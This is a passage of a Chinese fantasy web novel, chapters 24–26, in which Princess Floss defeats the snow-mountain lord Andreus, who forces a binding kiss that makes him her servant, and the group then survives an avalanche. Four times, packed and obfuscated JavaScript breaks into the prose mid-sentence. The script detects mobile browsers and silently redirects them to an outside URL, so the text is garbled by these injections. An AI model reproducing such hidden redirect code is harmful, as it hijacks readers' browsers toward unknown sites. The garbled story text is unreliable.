安妮往身上拍了点雪,就提着裙子,敏捷地跳上边缘已经坍塌熄灭的石块与残垣。 忽然,她发出一声惊呼。 芙洛丝下意识就觉得不好,立刻问:“怎么了?” “没、没事。”安妮想了一下,还是告诉了芙洛丝,“安德留斯的身体周围结了一层霜。殿下,您不是说,安德留斯是很难杀死的,必须用烈火将尸体烧成灰,才能防止他复活吗?那现在……” 这个阴魂不散的家伙。芙洛丝脑子一转,就反应过来什么那应该是安德留斯的谎言,或者,至少不是百分之百的真话。 她问:“他还有气吗?” 安妮跳上了安德留斯所在的高地,小心翼翼地探了探他的呼吸:“没有了。” 那应该就没事了。 再度复活什么的,应该需要颇长的时间。安德留斯连变换空间的把戏都不能随意使用,他是相对来说比较“虚弱”的【身份者】。如果他的复活需要一百年,两百年,那以芙洛丝生命的尺度来看,她也管不着。 就这么离开吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428057|184886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “殿下,”没想到碧颇为严肃地道,“安德留斯是个很棘手的对手,如果我们今天没能彻底杀死他,而他又复活了,给我们带来不小的灾难的话……” 芙洛丝张嘴想说什么,碧打断了她,“殿下,你的身体状态很差,不宜靠近安德留斯。请你无论如何,不要将自己再度置于危险之中。” 这…… 是错觉吗? 总觉得碧和平时的样子有点不一样。 碧提着裙子行了个礼,“殿下,请把这种事情交给我来做吧。” “不。”芙洛丝果断地回绝了她。既然知道可能有危险,她就更不可能把这件事交给其他人去做了。 “我是【身份者】,比你们更了解【身份者】,这种事情只有我亲自去做才会放心。” 芙洛丝微微地活动了下肩膀,说实话,她感觉自己现在真的挺精神的,虽然身体确实不太好。 碧继续阻拦。 然而她的阻拦更坚定了芙洛丝亲自探查的决心。 芙洛丝由碧拉搀扶着,登上了废墟所堆成的高墙,又由安妮的手掌所牵引,来到安德留斯的身前。 如安妮所说,他的身边确实是结了薄薄的一层霜花,他本人则完全被冰封住了。 而且,他的位置变动了。不知道是不是大地的力量,他的身体被转移到了废墟上面、火焰暂时烧不到的位置。 那把剑现在就插在他的胸前。 安妮在她的示意下握住剑柄,轻轻用力,将剑拔了出来。 剑上沾着血凝成的霜花,安妮将它们都拂去了,在太阳底下打量那把剑。 那确实是很漂亮的一把剑,剑身雪亮如水,一看便气势非凡。千年的传承不仅没有磋磨它的锋锐,反而让它更显古朴雄浑。即使安妮完全不懂剑,也摸着它赞叹连连。 “殿下,给你。” 芙洛丝试探着掂了掂那把剑,她的胳膊还受着伤,并不适宜拿重物,而这把宽剑分量应该不清。 可没想到,她一下就把那把剑拿了起来。 就好像这把剑很乐意让她拿起来似的。 而在她拿起那剑的一瞬间,剑身忽然发出一道神圣而柔和的金光—— 与此同时,她感受到一股【身份者】的气息。 她下意识地以为是有新的【身份者】在接近,或是安德留斯诈尸了,但是,她很快反应过来,不对。 是她手上的这把剑,在散发出【身份者】的气息! “怎么了殿下!”安妮不懂发生了什么,只是看着芙洛丝一下紧张起来,也跟着紧张了起来。 没想到,芙洛丝只是感伤地抚了抚这把剑,“没事。” 原来是这么一回事。 里昂的剑与【身份】是一体的,只有在里昂决定裁决的时候,剑才会出鞘,【身份者】的气息才会显露。难怪芙洛丝从来没注意到,里昂是【身份者】。 他一直知道一切,却选择隐而不发,直到那个声音宣布芙洛丝的生命可以被收回,他才…… 芙洛丝感觉眼睛酸酸的。 “我的意志会跟随你。”里昂这么说过。 芙洛丝怀着无限缅怀的心情注视着这把剑,“里昂,我会带着你的剑,走到最后的。” “我们下去吧。” 变故就是在这时候发生的。 芙洛丝凝视着这把剑,忽然看到余光里安德留斯的手指动了。 这个动作很小,但芙洛丝确定,他的小拇指真真切切地动了一下! “安妮,小心!” 24. 这一吻 安妮立刻跳出十米之远,不料脚下没踩稳,“哎呦”一声掉了下去。她像被从高空摔下的猫一样急剧变换四肢,然后又掉在了一个什么铁锅中,“嗷”地叫了出来。 一阵乒乒乓乓。 她恼怒地丢开砸在自己头上的锅盖。 这是掉到厨房里来了吗? 铁锅还带着燃烧过的余温,惊人地烫,锅里原先炖煮的不知道是什么东西,现在成了黏糊糊的一滩,糊在锅底。安妮瞟了一眼,发现了唯一的一块还有颜色的东西。 是一块皮。 兽皮? 奇怪,上面又有着针线缝合的痕迹,就好像还有人为这只兽处理了伤口一样。 不过,如果是兽皮,这么大的铁锅,就炖一张兽皮吗? 锅里可没有任何骨头或者其他东西。 安妮没有多想,攀着废墟中的残片,爬得飞快,站在了芙洛丝的身侧。 她要保护芙洛丝。 看到两个人一瞬间进入警戒状态,安德留斯轻轻地笑了。 是的,他已经睁开了他满是冰霜的眼睫毛,轻轻地笑着。如果忽略他身上千疮百孔的流血伤口,他很像一个来自童话里的人物——躺在冰棺之中的俊美王子。如果有这样的童话的话。 “要离开了?” 芙洛丝以手中剑指着他,确认他没有敌意之后,默默地转为防守的姿势。 这个家伙,这么平静的吗? 因为已经死了,所以就平静了? 安德留斯唇瓣微启:“在我的地盘输给了你,想想真叫人不甘心。不过,输了就是输了,我只有认输啦。” 芙洛丝皱着眉头看他。 “是我偷袭了你。” 安德留斯眼睛微弯,在这一笑中,以往的恩怨情仇,似乎都如冰雪一样溶解了。 真不舒服。芙洛丝道:“你就安心地去死吧,如果想谴责我,就去地狱里谴责我。” 说着,她准备用手里的剑补最后一刀。 “关于里昂的那句话。” 安德留斯好像一点都不害怕似的,剑光将他的眼睛都映照成了半透明的灰色,他也没有眨一下眼睛。 “‘你不再有弱点了’,你恐怕没有完全理解他的意思呢。” 什么? “你恐怕不知道,那个追杀令,是会更新的。如果你没有死,而是躲到了其他地方,大概十五天之后,那个声音会再度更新你的位置。只有你死,或者,你杀死了其他【身份者】,追杀令才会消失。” 安德留斯的声音更轻了:“看来,里昂用生命为你抹去了这个致命的弱点。” “你觉得,我会相信你说的话?你好像没有数过,你对我撒了多少谎,对吗?” 安德留斯轻轻地动了动四肢。覆盖着他身体的冰雪已经消融得无形无迹,只有一圈璀璨的霜花还围绕着他,保护他以受火焰的侵蚀。 苍白的皮肤,浓黑的头发,霜花簇成的剪影,半透明的眼瞳,以及红得残酷的伤口,将他衬托得美丽多过英俊。他的样子有如魅魔。 “嗯……”他呻吟了一声。 “你觉得,我会特意在死之前说个笑话来逗你开心吗?在我漫长的岁月里,我也会向山下打探消息,关于【身份者】的事情,我比你知道得更多。只是,没想到我是这种轻浮的形象。真叫我伤心啊。好歹我们曾经是盟友……” “殿下,千万别被他骗了!”安妮义正词严,“他明显就是在搔首弄姿啊!殿下,千万不可被他的外表所欺骗!快动手吧!” 芙洛丝微微回神,“安妮说得对。你根本没有信用可言!不管能不能杀死你,起码,我要重创你。” 【身份者】死后,会赠予杀死其的人一个奇特小瓶。虽然不知道这是什么原理,但芙洛丝明白了,先前的所有攻击都没有真正地杀死这位雪山的恶魔。 王都的平民正在承受无妄之灾,她没有时间再在这里耗下去。 安德留斯吸了吸鼻子,摆出一副任人宰割的可怜姿态。 “那么,动手吧。” “要快一点。” “还有,别让我太痛。”安德留斯是想到什么说什么。 芙洛丝听得好烦,“你都要死了,还这么多要求?” 不远处,碧和碧拉正在挥着手臂大喊:“殿下,我们这边已经搞完了。需要帮忙吗?” “没事!一点收尾工作而已!”芙洛丝如此回应了她们。 是啊,还磨磨蹭蹭什么。 赶紧动手吧。 手中的圣剑再度散发出光芒。 “其实,这一天我还玩得挺开心的。你知道吗,亲爱的殿下,我已经过了几百年孤独的日子。我离开不了这座雪山,这是安德留斯一族世代背负的诅咒。虽然你伤害了我,但你也接近了我,从这个意义上来说,我很开——” “心”字没有说出口。 芙洛丝摁着剑,将他扎了个透心凉。 “嗬、嗬啊、哼……哈啊……”安德留斯喘息着,低下头,看着那把剑再度没入了自己的胸膛。他的脸上浮现出既迷茫,又痛苦的表情。 “啊,亲爱的,你粗暴的动作弄得我好疼啊……” 他的声音在自己的呼吸声里一点点破碎了。 “殿下,干得漂亮!”安妮攥着小拳头欢呼。 芙洛丝凛起眉目,将那把剑往下刺,继续往下刺,直到触到安德留斯背后坚硬的断墙。她的手没有一丝颤抖。 “告诉我,安德留斯,你会死吗?如果不会,你会变成什么?” 安德留斯像小狗一样痛哼了一声。 他的眼眸渐渐涣散,“大概,是雪精灵吧,嗯……” 他再说不出话来了。 结束了。 安妮看着安德留斯的眼睛失去光芒,也跟着松了一口气。 现在,安德留斯身边的霜花也融化成了雪水。虽然不知道其确切含义,但这应该说明,安德留斯已经虚弱到无法保护自己了。 与【山神】的战斗也告一段落了。 安妮很开心,“殿下,我愿意留在这里,把他的尸体抛进火海里,烧个精光,你和碧她们就先下山吧。我处理好了,会追上你们的。” 安妮的性格还是那么单纯啊。看着她干劲满满的样子,芙洛丝满是阴霾的心也出现了一丝光明。 “不,”她一边说,一边缓缓将剑从安德留斯的身体里拔出来,“回王都至少需要七八天,不急在这一时半会儿,我和你一起——” 她顿住了。 不只是话语,她的动作也因为突然出现的意外而停滞住了! 安德留斯—— 安德留斯的手握住了剑—— 更诡异的是,他并不是要制止这把剑刺穿自己的心脏,而是十分用力地,将这把剑拖回了自己的心脏之中! 他想干什么?! 同一时刻,无数根细微的白色游丝涌入了安德留斯的身体。凭着本能,芙洛丝觉得那些东西是冷的,与安德留斯所造的冰雪有同样的本质。 这到底是?!! 安德留斯睁开了眼。 他的身上开始显现出【同类】的气息,这是他第一次真的展露这种气息! “哦对了,亲爱的,我似乎猜到了你是如何发动能力的。临死之前,请给我一个验证我猜想的机会,好吗?” 其实直到安德留斯说完这句话,时间才过去了短短一会儿。 芙洛丝立刻反应过来,将那把剑往自己的方向拔。而苏醒后的安德留斯与之前的判若两人,他的力气大得出奇!芙洛丝现在是比较虚弱,但这不是她争不过安德留斯的唯一原因,安德留斯的力气真的很大。 他为什么? 难道他要握着这把剑再一次刺死自己? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428058|184886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芙洛丝被这一连串的意外搞得有点懵,下一秒,她知道了答案! 安德留斯的表情一下变得很邪恶,那双眼瞳沁了墨的黑,黑到没有一丝光亮,仿佛能将太阳都吞噬。 这双眼睛在笑。 “带我走吧,宝贝。” 这双眼睛所属的身体则在急剧下坠! 他带着那把剑,和芙洛丝一起坠入火星点点的废墟,热风一下将两人的发丝卷得老高! 疯子!难道是打算带自己一起去死吗?! 安德留斯还死死地抓着那把剑,让自己的心脏一点点浸没它,直至噗呲一声,他的心脏将它吃得只剩剑柄! 他这么做,只是……想接近自己? 他抓住了芙洛丝的手,靠近了芙洛丝。仿佛从汹涌的冥河里捞起自己濒死的爱人一样,他扣住了芙洛丝的后脑勺,将它狠狠掰向自己! “不不不——”芙洛丝目眦欲裂。 这个混蛋,搞不好真的猜出了她的能力! 可是,就算如此,他要用自己的能力做什么呢?他又能拿用自己的能力做什么呢? “不、不、不——” 不管是什么,安德留斯的表情都太可怕了。那绝对不会是件好事。绝对不会。 芙洛丝咬着牙要后退,还是抵不过安德留斯的力气,她眼睁睁地看着安德留斯的面孔放大。 安德留斯湿漉漉的鬓角。 安德留斯沾着雾气的眉睫。 安德留斯疯狂的眼睛。 “不……”芙洛丝简直要绝望了。 要是这是一场梦就好了! 然而剑柄坚硬地抵着她的胸膛,清楚而绝望地提醒她,这不是梦。这是真的,安德留斯要逼她把他转化成自己的【仆从】,安德留斯要—— 她咬牙切齿,骂:“不!你个蠢货!不用嘴对嘴,不用!你——” 安德留斯强吻了她。 该死的。 就是嘴对嘴。 神的力量就在此刻显现—— …… 一种晕眩微麻的感觉袭遍全身。 一瞬间连天地都忘却,眼前只有安德留斯的脸孔。他年轻的发丝如一面英勇的旗帜,在风中猎猎飞扬。他好像连头发丝都是开心的。 他开心得都要在额头上长出一对角来了。 芙洛丝从没有见他开心成这个样子。开心,而且疯狂。情绪似乎要撕破他的皮囊,露出他恶魔的本相来。他漆黑的瞳孔盛满了恶劣且残忍的笑意。 芙洛丝觉得自己好像读懂了他在想什么—— “亲爱的,你是我的了。” 轰然一声巨响—— 芙洛丝和安德留斯重重地摔在了废墟之中,芙洛丝被这一下冲击撞得骨头都要碎了,五脏六腑也被撞得移了位。 过了好一会儿,才意识到垫在后背的那只微凉的大手。 该死……芙洛丝被摔得七荤八素,耳朵里都是嗡嗡的。不用听,她也知道侍女们在惊呼。 安妮的小脑袋在废墟之上探出来,她在说话,因为她的嘴巴在动,但是芙洛丝根本听不清她在说什么。 还是安德留斯捏着她的耳垂,凑近了她。 “亲爱的,现在,”他的笑声将她的胸膛震得发颤,“我完完全全是你的了。” ——是的。 【公主】发动能力的条件,便是一个吻。 这轻轻的一吻,连最高傲的头颅也会臣服。 这至高无上的一吻,连生与死的界限都可以跨越。 “……殿下…………殿下……”安妮还在大喊。 芙洛丝慢慢地听清了,她喊的是:“殿下,雪崩了——快出来——雪——崩——了——!!” 地动山摇,大地在狂吼、震颤,不远处的树林簌簌地落下一层又一层的雪。 是真的,雪崩了! 25. 大雪崩 安德留斯拔出了剑,那么宽重的圣剑,在他手里像根柳枝一样被摆来弄去,“哈,真是让人回味无穷呢。” 不知道是在说这把剑还是那个吻。 如果是前者,他身上的伤都那么多了,这个心脏上的伤口也要不了他的命,确实是只增添了一丝回味。啧,这个怪物,这个变态—— 谁管啊! 现在最要紧的是,雪崩了! 他妈的雪崩了! 大地在震动!自然在咆哮! 脚下的积雪发出嗡嗡、呜呜的杂响,就好像地下有一整块饼干哭泣着碎掉了一样。地面在往下陷。太阳则像踩着滑雪橇一样飞速远离自己。 他们脚下的积雪如瀑布一样,一泻千里! 更糟糕的是,这座燃烧中的古堡也在跟她们一起往下泄。积雪、断壁残垣、焦黑的残渣,都跟着他们一起,被吞入了这条雪白的瀑布之中,轰隆隆的声音震耳欲聋! 安妮很快就看不到了,芙洛丝被打入雪流之下,就像被海中的巨浪拍了狠狠的一掌那样,口耳鼻全是异物,完全呼吸不了。 恨安德留斯,恨死安德留斯了! 芙洛丝脑中只有一个想法,一定是安德留斯搞的鬼。 灾难之中,一只用力的大手紧紧地抓住了自己。 是安德留斯。 他漆黑如夜的发丝在白得耀眼的雪流中闪了一下。 “你!”芙洛丝恶狠狠地回抓住了他,“咳……是你干的好事吧!” 可是她的声音根本就传不到安德留斯的耳朵里去,因为雪崩时的动静根本不是人类扯着嗓子吼就能掩盖地住的,芙洛丝发出的声音,就连自己也听不清。 她果断下了第一条命令:“从现在起,你不准伤害我,也不准有伤害我的任何想法!” “第二,”她说不出话来了,全身都要在这样可怕的雪流里散架,剩下的只能全以念头表达,“赶紧把这场雪崩停下来!” 安德留斯现在已是她的【仆从】,理应无条件执行她的一切命令。 但是。 咕噜噜噜。 芙洛丝本人快要窒息了。 雪崩还远远没有停止。芙洛丝临死前的最后一个想法便是,如果这雪是要把她冲到地狱里去,那么,她也要带着安德留斯一起下地狱。 安德留斯,和我一起。 别想独活。 似乎是被这仇恨满满的念头的影响到了,安德留斯奋不顾身地抓住她的手,硬生生地将她的身体抬上半个身位。 安德留斯再次吻了她。 宝贵的空气从一张柔软的嘴唇渡到另一张柔软的嘴唇。芙洛丝获得意识的一瞬间,便展露了极恶劣的求生本能,又争又抢。 她还咬了安德留斯的脸。 …… “记着,这才叫回味无穷!” 不知道安德留斯有没有听到这句话,但他眼睛瞪大了点儿。他的黑眼睛看上去很温柔,大概是在笑,或者是准备要笑。 这个乐观的狗杂种…… …… 再次醒来的时候,已经是晚上了。 安德留斯的气息就在身边。 那股不容忽视的【身份者】的气息,凛冽如山巅千年不化的积雪,独属于安德留斯的气息。 等等,气息。芙洛丝晕晕炫炫,自己居然还活着? 太幸运了。 脑子还没缓过来劲,就听安德留斯说:“别那么娇气,来,站起来,走一走。” 娇气? 他管这叫娇气? 芙洛丝看了看安德留斯伸在自己面前的那只大手,拍飞了它。安德留斯再度伸手,芙洛丝这回便抓着他的手,站了起来。 而等她看清眼前的景象时,她一句话也说不出来了。 这不仅是雪崩,整座山都坍塌了,大地裂出一道又一道深深的裂缝,每一道都绵延至少数百米之远。 巍峨神圣的雪山就像一位受难的天神,轰然从云端坠落下来,跌得粉碎。直到现在,山体还在坍塌,尸体里还在发出轰隆隆的声响,就像天神在发出不堪忍受的呻吟一样。雪屑飞扬,就像这位巨人族的神还在呼吸一样。芙洛丝他们站在这种景象之前,就像两粒渺小的灰尘。 芙洛丝不由自主地将那只手抓得更紧了一些。 除她以外的其他人呢? 视线一转,很快就看到了瘫倒在地的三人,显然一副落难者的形象,头发乱糟糟,身上全是风雪肆虐的痕迹,但好在呼吸都在。 等等,还有里昂的剑,里昂…… “看你的手。”安德留斯淡淡地道。 扭头一看,里昂的那把剑还真的就在自己手里,芙洛丝又松了一口气。 随后马上意识到了哪里不对劲—— 安德留斯果然能听到她的心声。 【公主】能力带来的影响之一:心声泄露。 似乎是为了让仆从能一瞬间理解并执行她的命令,只要芙洛丝心里想着向某个人下令,或者是提问,心声就会不由自主地泄露出去。 放到安妮她们身上,这根本算不了什么,因为她们本就无比忠诚于芙洛丝,但是……现在对面是安德留斯啊! 安德留斯皱着眉,也意识到了这一点。 “亲爱的,你刚刚开口了吗?” 芙洛丝用看傻子一样的眼神看着他:“你在说什么?如果我没开口,你能听到吗?” 安德留斯俯下身子,掀起她的眼皮,似乎是想从瞳孔的状态看看这话的真伪,结果理所当然是被踹了一脚。 “唔,看来还很有精神嘛。” 芙洛丝没好气地指着他,磨牙霍霍:“你!你这个!” 气得一时说不出话来。 “自从遇到你,我身边就再没一件称心如意的事!你——”芙洛丝深呼吸,再深呼吸,“坐下,我要审你!” 安德留斯举起两只手,乖乖坐下。 芙洛丝再次呼吸一窒。 这…… 安德留斯的两只手,指关节全都错位了,就像十根被打错了结的麻绳。因为身体被冻僵了,芙洛丝刚刚触碰他的时候,完全没有注意到这一点。 现在看来,安德留斯……完全没有人形。 他穿着衣服,虽然衣服上千疮百孔,但至少还能蔽体,所以也就暂时掩盖了他身体的种种令人作呕的地方。如果他身前站的不是芙洛丝,而是随便什么其他人,即使没有心脏上的小毛病,也会被吓得一命呜呼,直接去天堂报道。 事实上,芙洛丝也不忍多看一眼。 她移开了视线。 怎么会有人小腿肿得像个要熟爆了的芒果,大腿却空荡荡的?还有,他的膝盖骨往前挪了那么多的距离,怎么还能站起来?还有,他的肋骨,是—— 好了,别想了。你也不想做噩梦吧? “第三道命令,不准对我说谎。”芙洛丝态度冷硬。 咔咔咔。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428059|184886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >安德留斯的下巴发出了咔咔咔的声音。他用左手掰了掰下巴,将它掰回正位,笑容迷人,“当然。宝贝,我现在已经完完全全是你的人了。” “第一个问题,雪崩……雪山,为什么会变成这样?”芙洛丝严肃发问。 “哦?”安德留斯颇为惊讶,“我已经告诉过你原因了呀,怎么,还要我再为你解释一遍?看来亲爱的对我的事情一点都不上心,这真是,唉——” “住嘴!”芙洛丝忍无可忍,“我当然有了猜测,但是我要你亲口告诉我,因为一旦你对我说谎,你的舌头就会被拽出来,在脖子上缠上一圈又一圈,听懂了吗?” “还有!”芙洛丝又补上一句,“你要是再用那种态度回答我的问题,你的舌头也会被拽出来勒死你自己,而且是用你自己的手!” “哦……”安德留斯阴阳怪气的语调被自己截断,因为他发现,自己的手真的有要去拽自己舌头的架势。 【公主】的命令,连生与死的鸿沟都可以跨越,自然也可以做到这样的事。 安德留斯是个善于审时度势的人。 “因为我吞噬了雪山的力量,”他规规矩矩地回答道,“我说过了,雪山也是我躯体的一部分,力量更为强大的那一部分,强行将这股力量吸入体内,我会爆体而亡,相对应的,这座雪山也会崩塌。至于你让我停下雪崩,那就不是我所能掌控的了。亲爱的,你瞧,这座山塌了后,我也能放出那种你能感应到的气息了。” 他向前半步,将气息吐在芙洛丝的脸上。 “你感受到了吗?” 芙洛丝眯起眼睛。 “没有吗?”安德留斯的嘴唇忽然性感起来,他就要—— “滚。和我保持距离。” 他遵守了芙洛丝的命令,好不情愿地后退了一步又一步。 “第二个问题,为什么要在那时候做这样的事,有什么目的?” 安德留斯完全控制不住自己的双腿,像随着音乐起舞的玩具锡兵,直挺挺地踏出一个又一个的脚印。直到站定,才闷哼一声,重新开口:“因为我看中了你,想和你做一笔交易。” 哈?芙洛丝怀疑自己是不是耳朵出了问题。 “做交易?你成为我的【仆从】,是想和我做交易?我没听错吧?你的脑子是不是过于天真了,成为我的【仆从】,还有和我谈交易的资格?” 安德留斯微笑:“怎么不会呢?你是仁慈的主人,总是对【仆从】很好的,我所看中的,正是你这一点。” 不远处的天际,忽然飞起一大群夜鸦。 它们焦躁地盘旋,飞舞。 芙洛丝的视线不由自主地被吸引。 地震之后,附近的小动物总是会有异于平常的表现,因安德留斯贸然吞噬力量带来的地震,也会产生这样的效果吗? “成为您的仆从,便有了不死不灭的躯体。而您又是那么睿智无双,无论如何,”安德留斯还在侃侃而谈,“您都不会拒绝一位绝对忠诚的盟友的加入。而我想要的,不过是取回我的力量,打破安德留斯一族的诅咒,离开这座雪山,这一切,都可以仰仗您的【命令】。 “在和你的交手中,我已经输得很惨了,我想在最后为自己争取一点赢面,您可以理解的,对吧?……亲爱的?” 芙洛丝冷冷地看着他。 “很好。要做交易是吗?让我看看你的诚心。现在,把你的大拇指插进颈动脉里,顺时针转三圈,再逆时针转三圈。” 26. 夜投宿 安德留斯变了脸色。 芙洛丝的命令一说出口,他的手就再度不受控制地行动起来。 “芙洛丝,是我从雪崩中救下了你。” 芙洛丝毫不客气,“是你引发了雪崩!” 安德留斯肿胀的大拇指,已经颤颤巍巍举到了脖子前。 “不管怎么说,我救了你,我也救了你的侍女们。芙洛丝,当个知恩图报的好孩子,好吗?不死之躯也不是用来这么玩的,我虽然不会死,但会承受等价于死亡的巨大痛苦。” 安德留斯的大拇指已经摁到了脖子上。 “芙洛丝?” 噗嗤。 安德留斯的大拇指钻破了表层的皮肤,坚定而不容置疑地钻向血管。 血滴断断续续地喷了出来。 “芙……洛丝,亲爱的?”安德留斯的五官微妙地扭曲了,“难道我们就不能成为真正的盟友吗?你有那么残忍,连一点点、一点点的信任都不愿意施舍给我?” “闭嘴。” 芙洛丝双目如坚冰,“我不会跟你合作。” “即使我是你的【仆从】?” 安德留斯露出的恐惧不安和气急败坏的表情,让芙洛丝有种大仇得报的爽快感。 “即使你通过算计和出其不意的袭击,逼迫我把你变成了【仆从】。”芙洛丝纠正道,“安德留斯,要是你是死人就好了。” “醒来吧,姑娘们。” 芙洛丝一下令,碧便悠悠地睁开双眼,随后是安妮和碧拉。 面对着三双呆滞的蓝色眼眸,芙洛丝道:“我们得离开这里,尽快回王都。这里不是说话的好地方,有什么事,路上再说。” 她自己也疼得要命。 又冷,又饿,全身又疼。和里昂打了一架,刚从鬼门关赚回来,又遇上雪崩,现在能站着,能说话,全凭芙洛丝本人钢铁般的意志。 碧忐忑着发问:“那么,安德留斯……” 她看到了安德留斯非人的行径。 将大拇指插在自己的脖颈里转动,怎么看都很骇人。 芙洛丝背对着安德留斯,下了最后的命令。 “安德留斯,我要你保持专注,用全部的感官去感受这一刻的痛苦。在你因此而死亡之后,我命令你陷入永恒的睡眠。你既不能思考,也不能行动,人世间的一切动静都无法叫醒你,任何人、任何方法都无法结束你的长眠,直到有朝一日,我命令你醒来。” “我们走。” 雪山一下静了。 安德留斯无力地瘫坐在地上,发出濒死前的痛苦哼叫。 他脚下的雪,被染成了一朵喷射状的血色莲花。 他的生命就要永远地结束。 “主人,看来你这一步走错了啊。” 那个女人的声音再度出现,“现在杀掉芙洛丝还不算晚,我们还在雪山的范围之内。主人,趁你的意识还没有完全消散,赶紧抛弃这具躯体,转移到另一座山上去吧。” 是的,安德留斯一族所辖的,不只是这一座雪山。 这座雪山已经坍塌,它们身后,却还有大大小小、高高低低数十座山峰。它们组成了一道神圣的天阻,护卫住了整个王国的北境。 传说中,安德留斯的祖先就是靠这些雪山逼退了恶魔和它从地狱带来的十万恶灵。 “哦……?” 安德留斯昂起头,像只感到轻微的不舒服似的,慢悠悠地转了转脖子。 “你不觉得这女人的背影也挺好看的吗?别着急,我在前方为她降下了一道考验。如果她的心肠果然无法被我打动,那么,你就替我杀了她吧——哦?” 他笑了。 “你看,芙洛丝的能力有漏洞,和我想的一模一样。现在,我还能产生伤害她的想法。” “是的,”女人恭恭敬敬地说道,“主人,你的能力是芙洛丝殿下能力的克星。” 风在路上呼啸。 雪崩和地震将所有的路都震塌了,芙洛丝一行人根本辨别不出来路。到了傍晚,夜色又将前路笼罩在一片黑暗之中,下山更为困难。 碧拉注意到了芙洛丝的心事,“殿下,你怎么了吗?别担心,只要我们是在下山,就总会有下到山脚的那一天。我们一定能回到王都的。” “不,我不是担心这个。” 芙洛丝忧心忡忡。 我是后悔没有从安德留斯的嘴里问出更多的情报。 关于安德留斯的一切,她都想完完整整地问一遍,她的问题实在是太多了。 直觉告诉她,安德留斯隐瞒了某个很重要的秘密,但她目前想不到那和什么有关。 安德留斯让她不安。 不过,从她下的最后一个命令来看,安德留斯陷入了比死亡更可怕的境地,也绝对不能再兴风作浪。这么一看,也许……不用担心什么。 芙洛丝裹紧外套,忍受着劈头盖脸打来的风雪,低头前行。 忽然,她看到了前方飘来一粒温柔的烛光。 “殿下,我们已经下来了!这是山下的村庄,不会错的,我和碧拉先前来过!”安妮挥着手臂欢呼。 村……庄? 山下的村庄没有被地震所波及,变成一片废墟吗? 芙洛丝当即警觉起来,她可不觉得安德留斯吞噬雪山力量的时候能把地震范围控制得极好,不管从哪个方面看,安德留斯都不是那种人。 ——好人。 “嘘。”她示意众人噤声。 碧拉和碧马上反应过来了她担心的是什么,进入一级警戒状态。安妮兴奋的劲头也过去了,冷静下来,只等着芙洛丝的命令。 从她们所站的地方往下看,隐约能看见,村民们的树林和农田都被毁了,好几栋厚石头砌的房屋也未能幸免,废墟也被从山上冲刷下来的白雪所掩盖,但,总的来说,村庄还是勉强保持了全貌,没有受到致命的打击。 是建在背风处的缘故,所以损失才没那么大?芙洛丝思索道。 她们先前所看见的那一粒烛火,渐渐地飘了过来。它的身后还跟着好几簇别的暖融融的火焰。 看起来是有一行人在进入村庄。 碧拉想了一想,“难道是强盗?” 确实有些山贼、强盗会趁着天灾之后劫掠灾民。 芙洛丝继续观望。等那些烛火稍微飘过来一点之后,她看清了,原来过来的都是一些农夫。他们穿着脏兮兮的厚实外套,踩着像大象腿一样的短腿皮靴,手里提着锅碗瓢盆,用身体护住烛火,慢吞吞地往村庄里走。其中还有女人和小孩。 芙洛丝打了个手势,示意安妮和碧跟上去问问。 她看着她们在夜雪中和那些农人们对话,从传来的微弱声音中,她听清了一切。 安妮和碧很快就回来了,如她所听到的那样,告诉她,原来这伙人是去平原躲避地震,现在才敢回来的村民。 “殿下,”安妮很雀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428060|184886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跃,“他们很欢迎我们,说愿意收拾出一间房间让我们暂住一晚。” 碧在和农人的对话中透露,她们的主人是费尔奇尔德王国的公主,是安德留斯的新娘。 这些农人们世代居住在环境封闭的雪山下,个性淳朴,对王国却一概不知,只信奉山神安德留斯一族,一听她是安德留斯的新娘,激动得几乎要顶礼膜拜。 “山神大人的新娘能来山下走走,是我们莫大的荣幸,请您赐予我们这份荣幸,千万不要拘礼!” 什么新娘,听起来真怪,早知道就说自己是安德留斯的亲娘好了。 芙洛丝勉强笑着还礼。 当然,她和安德留斯那种靠迷信欺骗凡人的神棍不同,她才不会占别人便宜。 摸摸口袋,芙洛丝打算给点过路费。 口袋空了。 她的钱早给了那些随行的侍女。 至于她还剩下的一只耳环…… 